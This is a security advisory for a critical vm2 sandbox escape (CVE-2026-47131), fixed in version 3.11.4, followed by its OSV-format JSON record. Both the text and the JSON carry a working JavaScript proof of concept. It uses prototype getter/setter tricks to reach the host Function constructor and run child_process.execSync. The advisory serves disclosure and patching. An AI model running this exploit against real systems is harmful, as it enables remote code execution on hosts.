GHSA-V6MX-MF47-R5WG

Vulnerability from github – Published: 2026-05-29 17:33 – Updated: 2026-06-12 20:49
VLAI
Summary
vm2 has a Sandbox Escape issue
Details

Summary

By combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code.

PoC

"use strict";

const { VM } = require("vm2");
const vm = new VM();

vm.run(`
  "use strict";

  const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
  const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");

  async function f() {
    try {
      await WebAssembly.compileStreaming();
    } catch(e) {
      setProto.call(getProto.call(e), null);
    }

    try {
      await WebAssembly.compileStreaming();
    } catch(e) {
      const HostFunction = e.constructor.constructor;
      new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" });
    }
  }

  f();
`);

Impact

Sandbox Escape → RCE

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47131"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T17:33:58Z",
    "nvd_published_at": "2026-06-12T15:16:27Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nBy combining `Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\")`, `Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\")`, and Node.js\u0027s `ERR_INVALID_ARG_TYPE` Error, the host\u0027s `TypeError` constructor can be obtained, which allows the escape from the sandbox.\nThis allows attackers to run arbitrary code.\n\n### PoC\n```js\n\"use strict\";\n\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\n\nvm.run(`\n  \"use strict\";\n\n  const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\");\n  const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\");\n\n  async function f() {\n    try {\n      await WebAssembly.compileStreaming();\n    } catch(e) {\n      setProto.call(getProto.call(e), null);\n    }\n\n    try {\n      await WebAssembly.compileStreaming();\n    } catch(e) {\n      const HostFunction = e.constructor.constructor;\n      new HostFunction(\"return process\")().mainModule.require(\"child_process\").execSync(\"echo pwned\", { stdio: \"inherit\" });\n    }\n  }\n\n  f();\n`);\n```\n\n### Impact\nSandbox Escape \u2192 RCE",
  "id": "GHSA-v6mx-mf47-r5wg",
  "modified": "2026-06-12T20:49:02Z",
  "published": "2026-05-29T17:33:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47131"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/27c525f4615e2b983f122e2bed327d810126f5c8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 has a Sandbox Escape issue"
}


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